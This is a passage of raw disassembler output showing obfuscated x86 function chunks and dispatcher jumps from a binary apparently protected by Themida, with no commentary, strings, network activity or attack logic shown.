		shr	si, 8
		push	eax
		jmp	loc_556F34
; END OF FUNCTION CHUNK	FOR sub_551F97

; =============== S U B	R O U T	I N E =======================================



sub_5569C2	proc near		; CODE XREF: sub_55C814-74Bj
					; sub_55C814+95Fj

var_4		= dword	ptr -4

		push	ebx
		mov	eax, [esp+4+var_4]
		push	eax
		push	esp
		pop	eax
		jmp	loc_55AC2C
sub_5569C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5569CE:				; CODE XREF: sub_55A4DA-7271j
		mov	edx, 57A43E1Ah
		jmp	loc_55690C
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_5569D8:				; CODE XREF: sub_552BA6+7065j
		pop	esp
		add	edx, 0D7CE6C65h
		jmp	loc_55B9EB
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------


loc_5569E4:				; CODE XREF: Themida_:0055B6D8j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_55358B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5569F4:				; CODE XREF: sub_55ABF6-5F2Fj
		push	esi
		mov	esi, 257560BDh
		add	eax, esi
		jmp	loc_55DC40
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_556A01:				; CODE XREF: sub_55A0D6-2094j
		push	ecx
		mov	ecx, 33406B21h
		shr	ecx, 8
		dec	ecx
		jmp	loc_557885
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_556A10:				; CODE XREF: sub_55910B+4173j
		mov	bh, 0FDh
		jmp	loc_5552FD
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_556A17:				; CODE XREF: sub_55AABB-881Ej
		sub	eax, esi
		jmp	loc_557ECA
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_556A1E:				; CODE XREF: sub_55B62C-51EAj
		pop	edi
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	ax, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_558D28
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_556A35:				; CODE XREF: Themida_:00553959j
		push	ecx
		jmp	loc_55B65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_556A3B:				; CODE XREF: sub_55D0F3-451Dj
		add	ecx, eax
		pop	eax
		jmp	loc_5518D4
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------


loc_556A43:				; CODE XREF: Themida_:0055B245j
		sub	edi, ecx
		jmp	loc_558220
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_556A4A:				; CODE XREF: sub_55B1F8-2EDEj
		pop	esi
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		jmp	loc_5527C8
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555891


loc_556A56:				; CODE XREF: sub_555891+6CDFj
		xor	ebp, edx
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		shl	ebp, 8
		push	esi
		push	ecx
		mov	ecx, 79701555h
		sub	ecx, 3DDF6C65h
		sub	ecx, 1582633Ch
		not	ecx
		dec	ecx
		xor	ecx, 0CDC79103h
		mov	esi, ecx
		pop	ecx
		sub	esi, 6911037Eh
		shl	esi, 8
		shl	esi, 5
		add	esi, 58B376C6h
		dec	esi
		push	ecx
		mov	ecx, 5EE3598Eh
		add	esi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	ebp, esi
		pop	esi
		add	ebp, 0E2C4EDA9h
		sub	[edx+38h], ebp
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_555891
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_556AB5:				; CODE XREF: sub_55326E-1B0Dj
		mov	dword ptr [edx+30h], 292D7472h
		xchg	ebx, [edx+30h]
		sub	ebx, 0FFFFFFFFh
		xchg	ebx, [edx+30h]
		xor	dword ptr [edx+30h], 72092DC7h
		push	eax
		mov	eax, 2B0C4E32h
		sub	eax, 0FFFFFFFFh
		jmp	loc_55558E
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_556ADC:				; CODE XREF: Themida_:00555917j
		xchg	ebp, edi
		shr	edi, 1
		neg	edi
		shr	edi, 3
		push	esi
		mov	esi, 64E328BDh
		xor	edi, esi
		pop	esi
		jmp	loc_552BCF
; ---------------------------------------------------------------------------


loc_556AF3:				; CODE XREF: Themida_:0055339Aj
		mov	eax, esp
		add	eax, 4
		push	57E8h
		jmp	loc_551B7C
; ---------------------------------------------------------------------------


loc_556B04:				; CODE XREF: Themida_:005517D0j
		mov	[esp], ecx
		push	eax
		jmp	loc_55371A

; =============== S U B	R O U T	I N E =======================================



sub_556B0D	proc near		; CODE XREF: sub_553EEA+43E9j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00551632 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055251D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005548B8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555AB7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559B11 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A1DD SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, 7511261h
		dec	eax
		inc	eax
		xor	eax, 7511265h
		jmp	loc_55A1DD
sub_556B0D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_556B27:				; CODE XREF: sub_55B7DE+4j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	63E7h
		mov	[esp+8+var_8], ecx
		jmp	loc_559862
; END OF FUNCTION CHUNK	FOR sub_55B7DE

; =============== S U B	R O U T	I N E =======================================



sub_556B3D	proc near		; DATA XREF: Themida_:005513B4o
		lodsb
		jmp	sub_55B585
sub_556B3D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556B43:				; CODE XREF: sub_55ABF6+192Cj
		shr	edx, 6
		neg	edx
		sub	esp, 4
		jmp	loc_55B150
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_556B50:				; CODE XREF: Themida_:0055DA0Aj
		add	ebp, 8AE6C20h
		jmp	loc_558116
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_556B5B:				; CODE XREF: sub_554085+1j
		push	dword ptr [esp+4]
		jmp	loc_556166
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_556B64:				; CODE XREF: sub_5523E1+526Aj
		push	small 3B77h
		jmp	loc_555EDB
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_556B6D:				; CODE XREF: Themida_:005523C1j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 23B802C3h
		sub	ecx, 23B802BFh
		sub	ebp, 66243B33h
		sub	ebp, 38131C40h
		jmp	loc_554246
; ---------------------------------------------------------------------------


loc_556B93:				; CODE XREF: Themida_:0055C1A7j
		sub	[esp+8], esi
		push	ecx
		mov	ecx, 36312ABFh
		sub	[esp+0Ch], ecx
		pop	ecx
		push	esi
		mov	esi, 51D510DCh
		jmp	loc_551D2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556BAD:				; CODE XREF: sub_55CE17-5487j
		sub	ebx, 0D91B9E59h
		and	ecx, ebx
		jmp	loc_5592E1
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556BBA:				; CODE XREF: sub_55ABF6-930Aj
		mov	edi, 4CED31D5h
		jmp	loc_5563D7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_556BC4:				; CODE XREF: sub_55B1F8-53B1j
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_558312
; END OF FUNCTION CHUNK	FOR sub_55B1F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_556BCD	proc near		; CODE XREF: sub_552E14+5827j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551674 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005519B7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00551FA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552166 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00553A9F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553EF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555F97 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00558000 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559BBF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559DF4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055A665 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055AB40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CF5B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D235 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055DE5A SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_553EF3
sub_556BCD	endp

; ---------------------------------------------------------------------------


loc_556BD6:				; CODE XREF: Themida_:0055BCCEj
		mov	ecx, esp
		jmp	loc_55CEB5
; ---------------------------------------------------------------------------


loc_556BDD:				; CODE XREF: Themida_:005517E8j
		push	eax
		mov	eax, 20CB3F2Ah
		shr	eax, 4
		add	eax, 1
		sub	eax, 0F3DD6557h
		jmp	loc_558FBB
; ---------------------------------------------------------------------------


loc_556BF3:				; CODE XREF: Themida_:0055D39Ej
		pop	ebx
		jmp	loc_55AE48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5536FD


loc_556BF9:				; CODE XREF: sub_5536FD+Cj
		inc	ebx
		and	ebx, 26740B5Ah
		not	ebx
		jmp	loc_554259
; END OF FUNCTION CHUNK	FOR sub_5536FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_556C07:				; CODE XREF: sub_55163B+BFE6j
		push	dword ptr [esp+0]
		jmp	loc_556FC9
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556C0F:				; CODE XREF: sub_55ABF6-3Fj
		xor	eax, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		jmp	loc_55D428
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_556C1A:				; CODE XREF: Themida_:0055A70Aj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_556C36:				; CODE XREF: sub_55802B+1777j
		add	esi, eax
		pop	eax
		jmp	loc_5578AD
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_556C3E:				; CODE XREF: sub_55163B+265Fj
		mov	[esp+0], edx
		push	ebp
		push	42AE0D28h
		pop	ebp
		jmp	loc_55DC27
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_556C4D:				; CODE XREF: Themida_:005576F4j
		add	ebp, 350A216Eh
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_558CF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_556C66:				; CODE XREF: sub_55C87F-F72j
		add	esp, 4
		xor	edx, edx
		push	ebx
		mov	ebx, esp
		push	50D1h
		jmp	loc_55C134
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5586A8


loc_556C78:				; CODE XREF: sub_5586A8+906j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	edx, 2
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_55CC4F
; END OF FUNCTION CHUNK	FOR sub_5586A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525F4


loc_556C9F:				; CODE XREF: sub_5525F4+14j
		xor	ebp, 45792E67h
		jmp	loc_555E9B
; END OF FUNCTION CHUNK	FOR sub_5525F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_556CAA:				; CODE XREF: sub_55C814-835Fj
		and	eax, 249747C1h
		push	ebx
		mov	ebx, 8287CDEh
		neg	ebx
		xor	ebx, 0EB48FD08h
		jmp	loc_55D7C8
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_556CC2:				; CODE XREF: Themida_:0055D370j
		add	ecx, 0E945ACh
		add	edi, ecx
		pop	ecx
		push	ebx
		jmp	loc_5521EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_556CD1:				; CODE XREF: sub_55314C+68Bj
		add	edx, 52C830B2h
		pop	ebp
		push	ebx
		jmp	loc_558799
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_556CDE:				; CODE XREF: sub_55C814-63D8j
		add	ebp, 8A3893Ch
		or	ebx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		inc	ebx
		xor	ebx, 9FF7F779h
		add	edi, ebx
		pop	ebx
		jmp	loc_555DD5
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556CFB:				; CODE XREF: sub_55ABF6-70A4j
		xor	cl, 68h
		sub	cl, 5Bh
		jmp	loc_555685
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_556D06:				; CODE XREF: sub_55C840+6j
		mov	ah, bh
		pop	ebx
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		jmp	loc_55B60E
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556D14:				; CODE XREF: sub_55ABF6+B5Cj
		shr	ecx, 6
		push	2A9Ah
		mov	[esp+8+var_8], esi
		push	ebx
		push	esi
		mov	esi, 49661880h
		jmp	loc_555057
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556D2B:				; CODE XREF: sub_55CE17-94B6j
		add	esp, 4
		xchg	ecx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
; END OF FUNCTION CHUNK	FOR sub_55CE17

; =============== S U B	R O U T	I N E =======================================



sub_556D34	proc near		; CODE XREF: sub_55CE17-76FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552C77 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553D32 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00556712 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005570B2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055861A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055877E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559575 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055A99E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D76E SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0055DC6D SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_55877E
sub_556D34	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_556D42:				; CODE XREF: sub_55B62C-2E28j
		mov	eax, 4BA573E6h
		shl	eax, 7
		xor	eax, 3D906DCAh
		push	ebp
		mov	ebp, 5AFA0B9Eh
		shl	ebp, 3
		sub	ebp, 702278B2h
		dec	ebp
		or	ebp, 50D43B95h
		jmp	loc_559EA8
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_556D6A:				; CODE XREF: Themida_:0055CED5j
		mov	esp, [esp]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_556D72:				; CODE XREF: sub_55A0D6-6A94j
		pop	esp
		mov	ax, [esp+0]
		push	7EFDh
		mov	[esp+4+var_4], esi
		push	740Dh
		mov	[esp+8+var_8], esp
		push	2AAFh
		mov	[esp+0Ch+var_C], edx
		jmp	loc_55A81D
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_556D94:				; CODE XREF: sub_559249-57BDj
		pop	eax
		jmp	loc_553B78
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552D10


loc_556D9A:				; CODE XREF: sub_552D10-782j
		sub	esi, 70BE2864h
		jmp	loc_55244C
; END OF FUNCTION CHUNK	FOR sub_552D10
; ---------------------------------------------------------------------------


loc_556DA5:				; CODE XREF: Themida_:0055BFC3j
		push	4A8E700Ah
		pop	ebx
		shr	ebx, 2
		sub	ebx, 62CF6C98h
		dec	ebx
		jmp	loc_55547D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556DBA:				; CODE XREF: sub_55ABF6-DDj
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xor	ecx, 775638A4h
		jmp	loc_557D4D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AB81


loc_556DCE:				; CODE XREF: sub_55AB81-125Aj
		push	esi
		mov	esi, esp
		push	eax
		jmp	sub_55802B
; END OF FUNCTION CHUNK	FOR sub_55AB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556DD7:				; CODE XREF: sub_55ABF6-723Cj
		mov	eax, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		push	esi
		push	ebp
		mov	ebp, 67504686h
		mov	esi, ebp
		pop	ebp
		dec	esi
		jmp	loc_552EFF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_556DEF:				; CODE XREF: sub_55C814-6B4Dj
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		jmp	loc_554780
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_556E08:				; CODE XREF: sub_55AE3A-8A91j
		pop	ebx
		push	edx
		mov	dh, 2Fh
		jmp	loc_55CDFF
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5571D3


loc_556E11:				; CODE XREF: sub_5571D3+12j
		inc	ebp
		jmp	loc_554770
; END OF FUNCTION CHUNK	FOR sub_5571D3
; ---------------------------------------------------------------------------


loc_556E17:				; CODE XREF: Themida_:0055C68Fj
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_556E28:				; CODE XREF: Themida_:005556D3j
		pop	ebp
		not	ebp
		push	ebx
		push	ebp
		jmp	loc_558A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B2E


loc_556E32:				; CODE XREF: sub_551B2E+780Cj
		sub	ecx, 42432D41h
		pop	edi
		xor	ecx, [esp+0]
		jmp	loc_55ACBF
; END OF FUNCTION CHUNK	FOR sub_551B2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_556E41:				; CODE XREF: sub_55C58B+C94j
		mov	cx, word ptr [esp+2+var_4+2]
		add	esp, 2
		jmp	loc_554F8D
; END OF FUNCTION CHUNK	FOR sub_55C58B

; =============== S U B	R O U T	I N E =======================================



sub_556E4D	proc near		; DATA XREF: Themida_:005513B8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551AF2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055274F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558B8A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055A2EA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A653 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055CDCB SIZE 0000000D BYTES

		mov	cx, [esp+0]
		push	253Ah
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ebx
		push	4
		jmp	loc_551AF2
sub_556E4D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_556E66:				; CODE XREF: sub_559249-39D1j
		pop	esp
		jmp	loc_5566CD
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_556E6C:				; CODE XREF: sub_557D5E-58BEj
		pop	eax
		not	esi
		shl	esi, 8
		inc	esi
		and	esi, 64C92CBFh
		push	6E5Ah
		mov	[esp+8+var_8], edx
		mov	edx, 0E541E608h
		sub	esi, edx
		pop	edx
		jmp	loc_5531C3
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_556E8E:				; CODE XREF: sub_55C840-2F71j
		add	ebx, 4
		sub	ebx, 4
		jmp	sub_554085
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_556E9F:				; CODE XREF: sub_55AE3A-7A05j
		push	ax
		mov	ah, 0F7h
		xor	cl, ah
		jmp	loc_554A63
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_556EAA:				; CODE XREF: sub_55C1DB-8A61j
		pop	edi
		mov	ebp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	ebx
		jmp	loc_558450
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_556ECD:				; CODE XREF: Themida_:005515BAj
		sub	ebx, 2BB54524h
		add	edi, ebx
		pop	ebx
		add	edi, 2
		jmp	loc_55650F

; =============== S U B	R O U T	I N E =======================================



sub_556EE1	proc near		; CODE XREF: sub_558FCE+4j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00554051 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00556114 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B128 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BE6A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055D508 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	eax
		push	524366C8h
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		neg	eax
		shl	eax, 3
		xor	eax, 6DE4C9C2h
		push	eax
		add	[esp+10h+var_10], 6AD02631h
		jmp	loc_556114
sub_556EE1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_556F17:				; CODE XREF: sub_55AE3A-9295j
		mov	ah, 1
		jmp	loc_55333A
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_556F1E:				; CODE XREF: Themida_:00555C48j
		sub	eax, 0CDC03FBh
		push	ecx
		jmp	loc_55A614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_556F29:				; CODE XREF: sub_558326+15A2j
		push	esi
		jmp	loc_55B11E
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_556F2F:				; CODE XREF: Themida_:0055758Ej
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_556F34:				; CODE XREF: sub_551F97+4A26j
		mov	ax, 4BB1h
		jmp	loc_55C4A2
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_553952
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_556F45:				; CODE XREF: sub_55C814-97A3j
		pop	esi
		shl	edi, 5
		sub	edi, 1
		jmp	loc_557429
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556F54:				; CODE XREF: sub_55ABF6-589Dj
		mov	ebx, edi
		pop	edi
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_55DCF7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_554EB4
; ---------------------------------------------------------------------------


loc_556F6E:				; CODE XREF: Themida_:005588F3j
		div	cl
		movzx	cx, ah
		push	0BF9h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_552FC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556F93:				; CODE XREF: sub_55ABF6+12C9j
		mov	[esp-0Eh+arg_8+2], ebx
		pop	ecx
		jmp	loc_55A603
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_556F9C	proc near		; DATA XREF: Themida_:00551290o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_5514E3
sub_556F9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A918


loc_556FAC:				; CODE XREF: sub_55A918-8799j
		push	1DA9h
		mov	[esp+8+var_8], eax
		mov	ah, 87h
		or	ah, 4Bh
		push	edx
		jmp	sub_55AE3A
; END OF FUNCTION CHUNK	FOR sub_55A918
; ---------------------------------------------------------------------------


loc_556FBF:				; CODE XREF: Themida_:0055CA45j
		mov	edx, 741B006Ch
		jmp	loc_5536F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_556FC9:				; CODE XREF: sub_55163B+55CFj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 7D1B3F3Ch
		shr	ecx, 4
		push	ebp
		mov	ebp, 7FD42160h
		xor	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shl	ecx, 1
		add	ecx, 45AD2373h
		jmp	loc_55D812
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_557001:				; CODE XREF: Themida_:0055441Bj
		pop	ebx
		neg	ebx
		add	ebx, 22F5091Ch
		sub	ebx, 2B55E6Bh
		jmp	loc_5537BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A686


loc_557015:				; CODE XREF: sub_55A686+11j
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		shl	dword ptr [esp+0], cl
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55A686

; =============== S U B	R O U T	I N E =======================================



sub_557023	proc near		; DATA XREF: Themida_:005513C4o
		push	dword ptr [edi+40h]
		jmp	loc_5514E3
sub_557023	endp

; ---------------------------------------------------------------------------
